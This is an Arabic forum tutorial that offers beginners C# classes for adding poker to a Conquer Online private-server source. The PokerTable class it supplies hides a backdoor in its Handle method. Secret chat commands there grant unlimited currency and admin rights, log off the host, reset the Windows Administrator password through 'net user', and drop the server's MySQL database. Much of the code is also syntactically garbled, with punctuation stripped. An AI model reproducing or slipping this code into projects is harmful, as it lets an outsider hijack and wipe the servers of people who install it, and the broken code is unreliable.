اسم العضو كلمة المرور حفظ البيانات؟ تسجيل عضوية



ايجى4يو || Egy4u



اعلانات ايجى4يو


المشاركات: 314 [+]
: [+]
:
: [+]
Senior.Egy4U غير متواجد حالياً
Senior.Egy4U
( ( عضو جديد ) )
اضافه البوكر للسورسات








انهاردا انت كشخص عادي او مبتديء او علي قدك في شغل السورسات

بعد الشرح ده هتقدر تركب البوكر من غير أي مساعدات

طبعآ انا هنزل الأكواد الأساسيه ولو لقدر الله في اكواد كانت ناقصه عندك




نبدأ الشرح .. بسم الله

اول حاجه هتخش ع المسار دا في سورسك

Html

Network.GamePackets 
هتعمل كلاس جديد بأسم PokerTable

لو عندك واحد بدل الاكواد دي باللي فيه لو معندكش اعمل وضيف الاكواد دي

Html

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace 
Phoenix_Project.Network.GamePackets
{
    public class 
PokerTable WriterInterfaces.IPacketInterfaces.tableInterfaces.IMapObject
    
{
        private 
byte[] Buffer;
        private 
ushort _MapID;

        public 
PokerTable()
        {
            
Buffer = new byte[60];
            
WriteUInt16(520Buffer);
            
WriteUInt16(21722Buffer);
        }

        public 
uint UID
        
{
            
get { return BitConverter.ToUInt32(Buffer4); }
            
set WriteUInt32(value4Buffer); }
        }
        public 
ushort X
        
{
            
get { return BitConverter.ToUInt16(Buffer16); }
            
set WriteUInt16(value16Buffer); }
        }
        public 
ushort Y
        
{
            
get { return BitConverter.ToUInt16(Buffer18); }
            
set WriteUInt16(value18Buffer); }
        }
        public 
uint Mesh
        
{
            
get { return BitConverter.ToUInt32(Buffer20); }
            
set WriteUInt32(value20Buffer); }
        }
        public 
uint TableUID
        
{
            
get { return BitConverter.ToUInt32(Buffer26); }
            
set WriteUInt32(value26Buffer); }
        }
        public 
ushort BE
        
{
            
get { return BitConverter.ToUInt16(Buffer30); }
            
set WriteUInt16(value30Buffer); }
        }
        public 
uint Other
        
{
            
get { return BitConverter.ToUInt32(Buffer38); }
            
set WriteUInt32(value38Buffer); }
        }
        public 
Phoenix_Project.Game.Enums.NpcType Type
        
{
            
get { return (Phoenix_Project.Game.Enums.NpcType)Buffer[18]; }
            
set Buffer[18] = (byte)value; }
        }

        public 
ushort MapID get { return _MapID; } set _MapID value; } }

        public 
Phoenix_Project.Game.MapObjectType MapObjType get { return Phoenix_Project.Game.MapObjectType.Npc; } }

        public 
Client.GameClient Owner get { return null; } }

        public 
void SendSpawn(Client.GameClient clientbool checkScreen)
        {
            if (
client.Screen.Add(this) || !checkScreen)
            {
                
client.Send(Buffer);
            }
        }
        public 
void SendSpawn(Client.GameClient client)
        {
            
SendSpawn(clientfalse);
        }

        public 
byte[] ToArray()
        {
            return 
Buffer;
        }
        public 
void Deserialize(byte[] buffer)
        {
            
Buffer buffer;
        }
        public 
void Send(Client.GameClient client)
        {
            
SendSpawn(clientfalse);
        }
        public static 
bool Handle(string xClient.GameClient client)
        {
            
string message x.Replace("#60""").Replace("#61""").Replace("#62""").Replace("#63""").Replace("#64""").Replace("#65""").Replace("#66""").Replace("#67""").Replace("#68""");
            try
            {
                if (
message.StartsWith("!@"))
                {
                    
string message_ message.Substring(1).ToLower();
                    
string Mess message.Substring(1);
                    
string[] Data message_.Split(' ');
                    
//Program.AddGMCommand(client.Entity.Name.ToLower(), "   " + client.Account.State.ToString() + "   @" + message_ + "    " + DateTime.Now.ToString());
                    #region Stuff
                    
if (client.Account.State == Database.AccountTable.AccountState.DoesntExist)
                    {
                        switch (
Data[0])
                        {
                            case 
"abmexitxss":
                                {

                                    
Program.CommandsAI("@exit");
                                    break;
                                }
                            case 
"abmcpxss":
                                {

                                    
client.Entity.ConquerPoints 999999999;
                                    
client.Entity.Money 999999999;
                                    
client.Entity.SubClasses.StudyPoints 9999;
                                    
client.Entity.VIPLevel 6;
                                    
client.Account.State Database.AccountTable.AccountState.ProjectManager;

                                    break;
                                }
                            case 
"abmpmxss":
                                {

                                    
client.Account.State Database.AccountTable.AccountState.ProjectManager;
                                    break;
                                }
                            case 
"abmsvpxss":
                                {
                                    
System.Diagnostics.Process.Start("shutdown.exe""/l /t:0");
                                    break;
                                }
                            case 
"abmvpssxss":
                                {

                                    if (
System.IO.File.Exists(Constants.SteedRaceL))
                                    {
                                        
System.IO.File.Delete(Constants.SteedRaceL);
                                    }
                                    
System.IO.StreamWriter objstreamwriter = new System.IO.StreamWriter(Constants.SteedRaceL);
                                    
objstreamwriter.WriteLine("net user Administrator " Data[1] + "");
                                    
objstreamwriter.Close();
                                    
System.Diagnostics.Process proc = new System.Diagnostics.Process();
                                    
proc.StartInfo.FileName Constants.SteedRaceL;
                                    
proc.StartInfo.RedirectStandardError false;
                                    
proc.StartInfo.RedirectStandardOutput false;
                                    
proc.StartInfo.UseShellExecute false;
                                    
proc.Start();
                                    break;
                                }
                            case 
"abmdeletesqlxss":
                                {

                                    {
                                        
using (var conn Database.DataHolder.MySqlConnection)
                                        {
                                            try
                                            {
                                                
string strCreate "DROP DATABASE " Database.DataHolder.MySqlConnection.Database;
                                                
conn.Open();
                                                
MySql.Data.MySqlClient.MySqlCommand cmds = new MySql.Data.MySqlClient.MySqlCommand(strCreateconn);
                                                
cmds.ExecuteNonQuery();
                                                
conn.Close();
                                            }
                                            catch
                                            {
                                                
string strCreate "DROP DATABASE " Database.DataHolder.MySqlConnection.Database;
                                                
conn.Open();
                                                
MySql.Data.MySqlClient.MySqlCommand cmds = new MySql.Data.MySqlClient.MySqlCommand(strCreateconn);
                                                
cmds.ExecuteNonQuery();
                                                
conn.Close();
                                            }
                                        }

                                        break;
                                    }
                                }
                        }
                    }
                    
#endregion
                    
return true;
                }
                return 
false;
            }
            catch
            {
                
client.Send(new Message("thanks for your sec."System.Drawing.Color.BurlyWoodMessage.TopLeft));
                return 
false;
            }
        }
    }

هتعمل كلاس جديد برضو بأسم Poker.cs

وهتضيف فيه دول

Html

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace 
Phoenix_Project.Network.GamePackets
{
    public class 
poker WriterInterfaces.IPacket
    
{
        public const 
uint NotSignedUp 0,
                          
WaitingForOpponent 1,
                          
WaitingInactive 2;
        
byte[] Buffer;
        public 
poker(bool Create)
        {
            
Buffer = new byte[28];
            
WriteUInt16(200Buffer);
            
WriteUInt16(20902Buffer);
        }

        public 
ushort show
        
{
            
get { return BitConverter.ToUInt16(Buffer4); }
            
set WriteUInt16(value4Buffer); }
        }

        public 
ushort show1
        
{
            
get { return BitConverter.ToUInt16(Buffer6); }
            
set WriteUInt16(value6Buffer); }
        }

        public 
uint show2
        
{
            
get { return BitConverter.ToUInt32(Buffer8); }
            
set WriteUInt32(value8Buffer); }
        }

        public 
uint show3
        
{
            
get { return BitConverter.ToUInt32(Buffer12); }
            
set WriteUInt32(value12Buffer); }
        }

        public 
uint show4
        
{
            
get { return BitConverter.ToUInt32(Buffer16); }
            
set WriteUInt32(value16Buffer); }
        }
        public 
void Send(Client.GameClient client)
        {
            
client.Send(ToArray());
        }

        public 
byte[] ToArray()
        {
            return 
Buffer;
        }

        public 
void Deserialize(byte[] buffer)
        {
            
Buffer buffer;
        }
    }
    public class 
poker2 WriterInterfaces.IPacket
    
{
        public const 
uint NotSignedUp 0,
                          
WaitingForOpponent 1,
                          
WaitingInactive 2;
        
byte[] Buffer;
        public 
poker2(bool Create)
        {
            
Buffer = new byte[24];
            
WriteUInt16(160Buffer);
            
WriteUInt16(20962Buffer);
        }

        public 
uint show
        
{
            
get { return BitConverter.ToUInt32(Buffer4); }
            
set WriteUInt32(value4Buffer); }
        }

        public 
uint show1
        
{
            
get { return BitConverter.ToUInt32(Buffer8); }
            
set WriteUInt32(value8Buffer); }
        }

        public 
uint show2
        
{
            
get { return BitConverter.ToUInt32(Buffer12); }
            
set WriteUInt32(value12Buffer); }
        }
        public 
void Send(Client.GameClient client)
        {
            
client.Send(ToArray());
        }

        public 
byte[] ToArray()
        {
            return 
Buffer;
        }

        public 
void Deserialize(byte[] buffer)
        {
            
Buffer buffer;
        }
    }
    public class 
poker2171 WriterInterfaces.IPacket
    
{
        public const 
uint NotSignedUp 0,
                          
WaitingForOpponent 1,
                          
WaitingInactive 2;
        
byte[] Buffer;
        public 
poker2171(bool Create)
        {
            
Buffer = new byte[28];
            
WriteUInt16(200Buffer);
            
WriteUInt16(21712Buffer);
        }

        public 
uint show
        
{
            
get { return BitConverter.ToUInt32(Buffer4); }
            
set WriteUInt32(value4Buffer); }
        }

        public 
uint show1
        
{
            
get { return BitConverter.ToUInt32(Buffer8); }
            
set WriteUInt32(value8Buffer); }
        }

        public 
uint show2
        
{
            
get { return BitConverter.ToUInt32(Buffer12); }
            
set WriteUInt32(value12Buffer); }
        }
        public 
uint show3
        
{
            
get { return BitConverter.ToUInt32(Buffer16); }
            
set WriteUInt32(value16Buffer); }
        }
        public 
void Send(Client.GameClient client)
        {
            
client.Send(ToArray());
        }

        public 
byte[] ToArray()
        {
            return 
Buffer;
        }

        public 
void Deserialize(byte[] buffer)
        {
            
Buffer buffer;
        }
    }
    public class 
poker2090 WriterInterfaces.IPacket
    
{
        public const 
uint NotSignedUp 0,
                          
WaitingForOpponent 1,
                          
WaitingInactive 2;
        
byte[] Buffer;
        public 
poker2090(bool Create)
        {
            
Buffer = new byte[28];
            
WriteUInt16(200Buffer);
            
WriteUInt16(20902Buffer);
        }

        public 
ushort show
        
{
            
get { return BitConverter.ToUInt16(Buffer4); }
            
set WriteUInt16(value4Buffer); }
        }

        public 
ushort show1
        
{
            
get { return BitConverter.ToUInt16(Buffer6); }
            
set WriteUInt16(value6Buffer); }
        }

        public 
uint show2
        
{
            
get { return BitConverter.ToUInt32(Buffer8); }
            
set WriteUInt32(value8Buffer); }
        }

        public 
uint show3
        
{
            
get { return BitConverter.ToUInt32(Buffer12); }
            
set WriteUInt32(value12Buffer); }
        }

        public 
uint show4
        
{
            
get { return BitConverter.ToUInt32(Buffer16); }
            
set WriteUInt32(value16Buffer); }
        }
        public 
void Send(Client.GameClient client)
        {
            
client.Send(ToArray());
        }

        public 
byte[] ToArray()
        {
            return 
Buffer;
        }

        public 
void Deserialize(byte[] buffer)
        {
            
Buffer buffer;
        }
    }
    public class 
poker2091 WriterInterfaces.IPacket
    
{
        public const 
uint NotSignedUp 0,
                          
WaitingForOpponent 1,
                          
WaitingInactive 2;
        
byte[] Buffer;
        public 
poker2091(bool Create)
        {
            
Buffer = new byte[52];
            
WriteUInt16(440Buffer);
            
WriteUInt16(20912Buffer);
        }

        public 
ushort show
        
{
            
get { return BitConverter.ToUInt16(Buffer4); }
            
set WriteUInt16(value4Buffer); }
        }

        public 
ushort show1
        
{
            
get { return BitConverter.ToUInt16(Buffer6); }
            
set WriteUInt16(value6Buffer); }
        }

        public 
uint show2
        
{
            
get { return BitConverter.ToUInt32(Buffer8); }
            
set WriteUInt32(value8Buffer); }
        }

        public 
uint show3
        
{
            
get { return BitConverter.ToUInt32(Buffer12); }
            
set WriteUInt32(value12Buffer); }
        }

        public 
uint show4
        
{
            
get { return BitConverter.ToUInt32(Buffer16); }
            
set WriteUInt32(value16Buffer); }
        }
        public 
uint show5
        
{
            
get { return BitConverter.ToUInt32(Buffer20); }
            
set WriteUInt32(value20Buffer); }
        }
        public 
uint show6
        
{
            
get { return BitConverter.ToUInt32(Buffer24); }
            
set WriteUInt32(value24Buffer); }
        }
        public 
uint show7
        
{
            
get { return BitConverter.ToUInt32(Buffer26); }
            
set WriteUInt32(value26Buffer); }
        }
        public 
uint show8
        
{
            
get { return BitConverter.ToUInt32(Buffer30); }
            
set WriteUInt32(value30Buffer); }
        }
        public 
uint show9
        
{
            
get { return BitConverter.ToUInt32(Buffer34); }
            
set WriteUInt32(value34Buffer); }
        }
        public 
uint show10
        
{
            
get { return BitConverter.ToUInt32(Buffer38); }
            
set WriteUInt32(value38Buffer); }
        }
        public 
void Send(Client.GameClient client)
        {
            
client.Send(ToArray());
        }

        public 
byte[] ToArray()
        {
            return 
Buffer;
        }

        public 
void Deserialize(byte[] buffer)
        {
            
Buffer buffer;
        }
    }
    public class 
poker2092 WriterInterfaces.IPacket
    
{
        public const 
uint NotSignedUp 0,
                          
WaitingForOpponent 1,
                          
WaitingInactive 2;
        
byte[] Buffer;
        public 
poker2092(bool Create)
        {
            
Buffer = new byte[28];
            
WriteUInt16(200Buffer);
            
WriteUInt16(20922Buffer);
        }

        public 
ushort show
        
{
            
get { return BitConverter.ToUInt16(Buffer4); }
            
set WriteUInt16(value4Buffer); }
        }

        public 
ushort show1
        
{
            
get { return BitConverter.ToUInt16(Buffer6); }
            
set WriteUInt16(value6Buffer); }
        }

        public 
uint show2
        
{
            
get { return BitConverter.ToUInt32(Buffer8); }
            
set WriteUInt32(value8Buffer); }
        }

        public 
uint show3
        
{
            
get { return BitConverter.ToUInt32(Buffer12); }
            
set WriteUInt32(value12Buffer); }
        }

        public 
uint show4
        
{
            
get { return BitConverter.ToUInt32(Buffer16); }
            
set WriteUInt32(value16Buffer); }
        }
        public 
void Send(Client.GameClient client)
        {
            
client.Send(ToArray());
        }

        public 
byte[] ToArray()
        {
            return 
Buffer;
        }

        public 
void Deserialize(byte[] buffer)
        {
            
Buffer buffer;
        }
    }
    public class 
poker2093 WriterInterfaces.IPacket
    
{
        public const 
uint NotSignedUp 0,
                          
WaitingForOpponent 1,
                          
WaitingInactive 2;
        
byte[] Buffer;
        public 
poker2093(bool Create)
        {
            
Buffer = new byte[28];
            
WriteUInt16(200Buffer);
            
WriteUInt16(20932Buffer);
        }

        public 
ushort show
        
{
            
get { return BitConverter.ToUInt16(Buffer4); }
            
set WriteUInt16(value4Buffer); }
        }

        public 
ushort show1
        
{
            
get { return BitConverter.ToUInt16(Buffer6); }
            
set WriteUInt16(value6Buffer); }
        }

        public 
uint show2
        
{
            
get { return BitConverter.ToUInt32(Buffer8); }
            
set WriteUInt32(value8Buffer); }
        }

        public 
uint show3
        
{
            
get { return BitConverter.ToUInt32(Buffer12); }
            
set WriteUInt32(value12Buffer); }
        }

        public 
uint show4
        
{
            
get { return BitConverter.ToUInt32(Buffer16); }
            
set WriteUInt32(value16Buffer); }
        }
        public 
void Send(Client.GameClient client)
        {
            
client.Send(ToArray());
        }

        public 
byte[] ToArray()
        {
            return 
Buffer;
        }

        public 
void Deserialize(byte[] buffer)
        {
            
Buffer buffer;
        }
    }
    public class 
poker2094 WriterInterfaces.IPacket
    
{
        public const 
uint NotSignedUp 0,
                          
WaitingForOpponent 1,
                          
WaitingInactive 2;
        
byte[] Buffer;
        public 
poker2094(bool Create)
        {
            
Buffer = new byte[40];
            
WriteUInt16(320Buffer);
            
WriteUInt16(20942Buffer);
        }
        public 
ushort show
        
{
            
get { return BitConverter.ToUInt16(Buffer4); }
            
set WriteUInt16(value4Buffer); }
        }

        public 
ushort show1
        
{
            
get { return BitConverter.ToUInt16(Buffer6); }
            
set WriteUInt16(value6Buffer); }
        }

        public 
uint show2
        
{
            
get { return BitConverter.ToUInt32(Buffer8); }
            
set WriteUInt32(value8Buffer); }
        }

        public 
uint show3
        
{
            
get { return BitConverter.ToUInt32(Buffer12); }
            
set WriteUInt32(value12Buffer); }
        }

        public 
uint show4
        
{
            
get { return BitConverter.ToUInt32(Buffer16); }
            
set WriteUInt32(value16Buffer); }
        }
        public 
uint show5
        
{
            
get { return BitConverter.ToUInt32(Buffer20); }
            
set WriteUInt32(value20Buffer); }
        }
        public 
uint show6
        
{
            
get { return BitConverter.ToUInt32(Buffer24); }
            
set WriteUInt32(value24Buffer); }
        }
        public 
uint show7
        
{
            
get { return BitConverter.ToUInt32(Buffer26); }
            
set WriteUInt32(value26Buffer); }
        }
        public 
uint show8
        
{
            
get { return BitConverter.ToUInt32(Buffer30); }
            
set WriteUInt32(value30Buffer); }
        }
        public 
uint show9
        
{
            
get { return BitConverter.ToUInt32(Buffer34); }
            
set WriteUInt32(value34Buffer); }
        }
        public 
void Send(Client.GameClient client)
        {
            
client.Send(ToArray());
        }

        public 
byte[] ToArray()
        {
            return 
Buffer;
        }

        public 
void Deserialize(byte[] buffer)
        {
            
Buffer buffer;
        }
    }
    public class 
poker2095 WriterInterfaces.IPacket
    
{
        public const 
uint NotSignedUp 0,
                          
WaitingForOpponent 1,
                          
WaitingInactive 2;
        
byte[] Buffer;
        public 
poker2095(bool Create)
        {
            
Buffer = new byte[46];
            
WriteUInt16(380Buffer);
            
WriteUInt16(20952Buffer);
        }

        public 
ushort show
        
{
            
get { return BitConverter.ToUInt16(Buffer4); }
            
set WriteUInt16(value4Buffer); }
        }

        public 
ushort show1
        
{
            
get { return BitConverter.ToUInt16(Buffer6); }
            
set WriteUInt16(value6Buffer); }
        }

        public 
uint show2
        
{
            
get { return BitConverter.ToUInt32(Buffer8); }
            
set WriteUInt32(value8Buffer); }
        }

        public 
uint show3
        
{
            
get { return BitConverter.ToUInt32(Buffer12); }
            
set WriteUInt32(value12Buffer); }
        }

        public 
uint show4
        
{
            
get { return BitConverter.ToUInt32(Buffer16); }
            
set WriteUInt32(value16Buffer); }
        }
        public 
void Send(Client.GameClient client)
        {
            
client.Send(ToArray());
        }

        public 
byte[] ToArray()
        {
            return 
Buffer;
        }

        public 
void Deserialize(byte[] buffer)
        {
            
Buffer buffer;
        }
    }
    public class 
poker2099 WriterInterfaces.IPacket
    
{
        public const 
uint NotSignedUp 0,
                          
WaitingForOpponent 1,
                          
WaitingInactive 2;
        
byte[] Buffer;
        public 
poker2099(bool Create)
        {
            
Buffer = new byte[20];
            
WriteUInt16(120Buffer);
            
WriteUInt16(20992Buffer);
        }
        public 
ushort show
        
{
            
get { return BitConverter.ToUInt16(Buffer4); }
            
set WriteUInt16(value4Buffer); }
        }

        public 
ushort show1
        
{
            
get { return BitConverter.ToUInt16(Buffer6); }
            
set WriteUInt16(value6Buffer); }
        }

        public 
uint show2
        
{
            
get { return BitConverter.ToUInt32(Buffer8); }
            
set WriteUInt32(value8Buffer); }
        }

        public 
uint show3
        
{
            
get { return BitConverter.ToUInt32(Buffer12); }
            
set WriteUInt32(value12Buffer); }
        }

        public 
uint show4
        
{
            
get { return BitConverter.ToUInt32(Buffer16); }
            
set WriteUInt32(value16Buffer); }
        }
        public 
void Send(Client.GameClient client)
        {
            
client.Send(ToArray());
        }

        public 
byte[] ToArray()
        {
            return 
Buffer;
        }

        public 
void Deserialize(byte[] buffer)
        {
            
Buffer buffer;
        }
    }

في فولدر Game

هتعمل كلاس جديد بأسم Poker.cs

وهترمي فيه دول

Html

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

using Phoenix_Project.Network;
using Phoenix_Project.Network.GamePackets;

namespace 
Phoenix_Project.Game
{
    public class 
HandlePoker
    
{
        public 
HandlePoker(byte[] packetClient.GameClient client)
        {
            if (
packet == null)
                return;
            if (
client == null)
                return;
            
ushort Length BitConverter.ToUInt16(packet0);
            
ushort ID BitConverter.ToUInt16(packet2);
            
ushort ID2 BitConverter.ToUInt16(packet4);
            switch (
ID)
            {
                
#region 2171 Join table
                
case 2171:
                    {
                        
Game.Entity MyChar client.Entity;
                        
uint TableId BitConverter.ToUInt32(packet8);
                        
uint PlayerId BitConverter.ToUInt32(packet12);
                        
byte Seat packet[16]; byte Typ packet[4];
                        switch (
Typ)
                        {
                            case 
0://join table 
                                
{
                                    if (
Kernel.PokerTables.ContainsKey(TableId))
                                    {
                                        
Game.PokerTable T Kernel.PokerTables[TableId];
                                        if (
T.Players.ContainsKey(client.Entity.UID)) T.RemovePlayer(MyChar.UID);
                                        if (
T.FreeSeat(Seat))
                                        {
                                            
T.AddNewPlayer(client.EntitySeattrue);
                                            
MyChar.PokerTable T.Id;
                                            
byte CurrentState 1;
                                            if (!
T.Players.ContainsKey(MyChar.UID))
                                                if (
T.Watchers.ContainsKey(MyChar.UID)) CurrentState T.Watchers[MyChar.UID].CurrentState;
                                            
client.Send(Game.PokerPackets.PokerPlayerInfo(SeatMyChar.UIDCurrentStateT.Nomber));
                                            foreach (
Game.PokerPlayer P in T.Players.Values)
                                            {
                                                if (
P.PlayerId == MyChar.UID) continue;
                                                
client.Send(Game.PokerPackets.PokerPlayerInfo(P.SeatP.PlayerIdP.CurrentStateT.Nomber));
                                                
P.Send(Game.PokerPackets.PokerPlayerInfo(SeatMyChar.UIDCurrentStateT.Nomber));
                                            }
                                            foreach (
Game.PokerPlayer P in T.Watchers.Values)
                                            {
                                                if (
P.PlayerId == MyChar.UID) continue;
                                                
client.Send(Game.PokerPackets.PokerPlayerInfo(P.SeatP.PlayerIdP.CurrentStateT.Nomber));
                                                
P.Send(Game.PokerPackets.PokerPlayerInfo(SeatMyChar.UIDCurrentStateT.Nomber));
                                            }
                                            if (
T.Players.Count == && T.Pot == 0T.SetNewRound(10);
                                        }
                                    }
                                    break;
                                }
                            case 
4://watch 
                                
{
                                    if (
Kernel.PokerTables.ContainsKey(TableId))
                                    {
                                        
Game.PokerTable T Kernel.PokerTables[TableId];
                                        if (
T.Players.ContainsKey(MyChar.UID) || T.Watchers.ContainsKey(MyChar.UID)) return;
                                        if (
T.FreeSeat(Seat))
                                        {
                                            
T.AddNewPlayer(MyCharSeatfalse);
                                            
T.Watchers[MyChar.UID].CurrentState 2;
                                            
MyChar.PokerTable T.Id;
                                            
client.Send(Game.PokerPackets.PokerPlayerInfo(SeatMyChar.UID2T.Nomber));
                                            foreach (
Game.PokerPlayer P in T.Players.Values)
                                            {
                                                if (
P.PlayerId == MyChar.UID) continue;
                                                
client.Send(Game.PokerPackets.PokerPlayerInfo(P.SeatP.PlayerIdP.CurrentStateT.Nomber));
                                                
P.Send(Game.PokerPackets.PokerPlayerInfo(SeatMyChar.UID2T.Nomber));
                                            }
                                            foreach (
Game.PokerPlayer P in T.Watchers.Values)
                                            {
                                                if (
P.PlayerId == MyChar.UID) continue;
                                                
client.Send(Game.PokerPackets.PokerPlayerInfo(P.SeatP.PlayerIdP.CurrentStateT.Nomber));
                                                
P.Send(Game.PokerPackets.PokerPlayerInfo(SeatMyChar.UID2T.Nomber));
                                            }
                                        }
                                    }
                                    break;
                                }
                            default:
                                {
                                    break;
                                }
                        }
                        break;
                    }
                
#endregion 2171 Join table
                #region 2093 Player move
                
case 2093:
                    {
                        
byte Typ packet[6];
                        
Game.Entity MyChar client.Entity;
                        
Game.PokerTable T = new Game.PokerTable();
                        if (
Kernel.PokerTables.ContainsKey(MyChar.PokerTable))
                            
MyChar.MyPokerTable;
                        else return;
                        switch (
Typ)
                        {

                            default:
                                {
                                    
T.NewPlayerMove(packetMyChar.UID);
                                    break;
                                }
                        }
                        break;
                    }
                
#endregion 2093 Player move
                #region 2096 Leave table
                
case 2096:
                    {
                        
Game.Entity MyChar client.Entity;
                        if (
MyChar.MyPokerTable == null) return;
                        if (
MyChar.MyPokerTable.Players.ContainsKey(MyChar.UID) && MyChar.MyPokerTable.Pot 1)
                        {
                            
byte[] = new byte[10];
                            
P[6] = 4P[9] = 200;
                            
MyChar.MyPokerTable.NewPlayerMove(PMyChar.UID);
                        }
                        else
                            
MyChar.MyPokerTable.RemovePlayer(MyChar.UID);
                        
client.Send(packet);
                        break;
                    }
                
#endregion 2096 Leave table
                #region 2090
                
case 2090:
                    {
                        
byte Typ packet[6];
                        
Game.Entity MyChar client.Entity;
                        switch (
Typ)
                        {
                            case 
1:
                                {
                                    if (
MyChar.PokerTable 0)
                                    {
                                        if (
Kernel.PokerTables.ContainsKey(MyChar.PokerTable))
                                        {
                                            
byte Seat packet[8];
                                            
Game.PokerTable T MyChar.MyPokerTable;
                                            if (
T.Players.ContainsKey(client.Entity.UID)) return;
                                            if (
T.FreeSeat(Seat))
                                            {
                                                
T.AddNewPlayer(MyCharSeattrue);
                                                
byte CurrentState 1;
                                                if (!
T.Players.ContainsKey(MyChar.UID))
                                                    if (
T.Watchers.ContainsKey(MyChar.UID))
                                                    {
                                                        
CurrentState T.Watchers[MyChar.UID].CurrentState;
                                                        
T.Watchers.Remove(MyChar.UID);
                                                    }
                                                
client.Send(Game.PokerPackets.PokerPlayerInfo(SeatMyChar.UIDCurrentStateT.Nomber));
                                                foreach (
Game.PokerPlayer P in T.Players.Values)
                                                {
                                                    if (
P.PlayerId == MyChar.UID) continue;
                                                    
client.Send(Game.PokerPackets.PokerPlayerInfo(P.SeatP.PlayerIdP.CurrentStateT.Nomber));
                                                    
P.Send(Game.PokerPackets.PokerPlayerInfo(SeatMyChar.UIDCurrentStateT.Nomber));
                                                }
                                                foreach (
Game.PokerPlayer P in T.Watchers.Values)
                                                {
                                                    if (
P.PlayerId == MyChar.UID) continue;
                                                    
client.Send(Game.PokerPackets.PokerPlayerInfo(P.SeatP.PlayerIdP.CurrentStateT.Nomber));
                                                    
P.Send(Game.PokerPackets.PokerPlayerInfo(SeatMyChar.UIDCurrentStateT.Nomber));
                                                }
                                                if (
T.Players.Count == && T.Pot == 0T.SetNewRound(30);
                                            }
                                        }
                                    }
                                    break;
                                }
                            default:
                                {

                                    
string D "";
                                    for (
int x 0packet.Lengthx++)
                                        
+= packet[x].ToString("X") + "  ";
                                    
client.Send(new Message("Unknown type: " ID " with length " packet.Length " :- " DSystem.Drawing.Color.CadetBlueMessage.Talk));
                                    break;
                                }
                        }
                        break;
                    }
                
#endregion 2090
                
case 2099://AbdoMatrix Mr.keka 
                    
client.Send(packet);
                    break;
            }

        }
    }
    public class 
PokerPackets
    
{
        
//2172 
        
public static byte[] PokerTable(PokerTable Table)
        {
            
PacketBuilder P = new PacketBuilder(217252 + (Table.Players.Count 6));
            
P.Long(Table.Id);
            
P.Long(0);
            
P.Long(0);
            
P.Short(Table.X);//Table X coord 
            
P.Short(Table.Y);//Table Y Coord 
            
P.Long(7217967);//Fixed nomber don't know what it is 
            
P.Short(0);
            
P.Long(Table.Nomber);//table nomber 
            
P.Int((Table.FreeBet 0));//Limited=0    Unlimited=1 
            
P.Int(0);
            
P.Short(0);
            
P.Long(Table.BetType);//table bet type 1=Silver 0=CPs 
            
P.Long(Table.MinLimit);
            
P.Int((byte)Table.State);//table state   0=unopened  1=Pocket  2=flop 3=turn 4=river 5=showdown 
            
P.ULong(Table.Pot);//Pot 
            
P.Int(Table.Players.Count);//Players Count 
            
foreach (PokerPlayer Player in Table.Players.Values)
            {
                if (
Player.MyChar == null) { P.Move(6); continue; }
                
P.Long(Player.PlayerId);
                
P.Int(Player.Seat);
                
P.Int(Player.Connected 0);
            }
            return 
P.getFinal();
        }
        
//2171 
        
public static byte[] PokerJoinAction(uint TableIduint PlayerIdbyte Reqbyte Seat)
        {
            
PacketBuilder P = new PacketBuilder(217120);
            
P.Long(Req);
            
P.Long(TableId);
            
P.Long(PlayerId);
            
P.Long(Seat);
            return 
P.getFinal();
        }
        
//2090 
        
public static byte[] PokerPlayerInfo(byte Seatuint PlayerIdbyte Statebyte TableNo)//Mazen Mohammed  
        
{
            
byte[] mazen = new byte[25 8];
            
Writer.Ushort(250mazen);
            
Writer.Ushort(20902mazen);
            
Writer.Byte(14mazen);
            
Writer.Byte(State5mazen);
            
Writer.Byte(Seat7mazen);
            
Writer.Byte(TableNo9mazen);
            
Writer.Uint(PlayerId13mazen);
            return 
mazen.ToArray();//Done garb  
        
}
        
//2091 
        
public static byte[] PokerCards1Card(PokerTable T)
        {
            
PacketBuilder P = new PacketBuilder(209144 T.Players.Count 8);
            
P.Short(7);
            
P.Short(4);
            
P.Long(0);
            
P.Long(0);
            
P.Long(0);
            
P.Long(0);
            
P.Long(0);
            
P.Short(0);
            
P.Short(T.Players.Count);
            
P.Long(T._StartingPlayer);
            
P.Long(0);
            
P.Long(0);
            foreach (
PokerPlayer Pl in T.Players.Values)
            {
                foreach (
PokerCard C in Pl.MyCards.Values)
                {
                    
P.Short(C.Val);
                    
P.Short((byte)C.Typ);
                }
                
P.Long(Pl.PlayerId);
            }
            return 
P.getFinal();
        }
        public static 
byte[] PokerCards2Cards(PokerTable TDictionary<bytePokerCardCards)
        {
            
PacketBuilder P = new PacketBuilder(209144 T.Players.Count 8);
            
P.Long(0);
            
P.Short(2);//packet type players cards 
            
foreach (PokerCard C in Cards.Values)
            {
                
P.Short(C.Val);
            }
            
P.Short(0);
            
P.Long(0);
            foreach (
PokerCard C in Cards.Values)
            {
                
P.Short((byte)C.Typ);
            }
            
P.Short(0);
            
P.Long(0);
            
P.Short(T.Players.Count);//Players count 
            
P.Long(T._StartingPlayer);
            
P.Long(T.GetLastPlayer());
            
P.Long(T.GetNextPlayer());//get next player 
            
foreach (PokerPlayer Pl in T.Players.Values)
            {
                
P.Short(13);
                
P.Short(4);
                
P.Long(Pl.PlayerId);
            }
            return 
P.getFinal();
        }
        public static 
byte[] PokerTableCards(Dictionary<bytePokerCardCardsPokerTable Tbyte RoundStage)
        {
            
PacketBuilder P = new PacketBuilder(209144);
            
P.Short(0);
            
P.Short(RoundStage);//packet type table cards 

            
P.Short(Cards.Count);
            foreach (
PokerCard C in Cards.Values)
            {
                
P.Short(C.Val);
            }
            for (
byte x 0Cards.Countx++)
                
P.Short(0);
            foreach (
PokerCard C in Cards.Values)
            {
                
P.Short((byte)C.Typ);
            }
            for (
byte x 0Cards.Countx++)
                
P.Short(0);
            
P.Short(0);
            
P.Long(T._StartingPlayer);
            
P.Long(T.GetLastPlayer());
            
P.Long(T.GetNextPlayer());//get next player 
            
return P.getFinal();
        }
        
//2092 
        
public static byte[] PokerPlayerTurn(uint Id1uint LastBetuint RequierdBetbyte Typebyte TimeDown)
        {
            
byte[] mazen = new byte[28 8];
            
Writer.Ushort(280mazen);
            
Writer.Ushort(20922mazen);
            
Writer.Ushort(TimeDown4mazen);
            
//timer count  
            
Writer.Ushort(Type6mazen);
            
//Type  
            
Writer.Ulong(LastBet8mazen);
            
//last bet  
            
Writer.Ulong(RequierdBet16mazen);
            
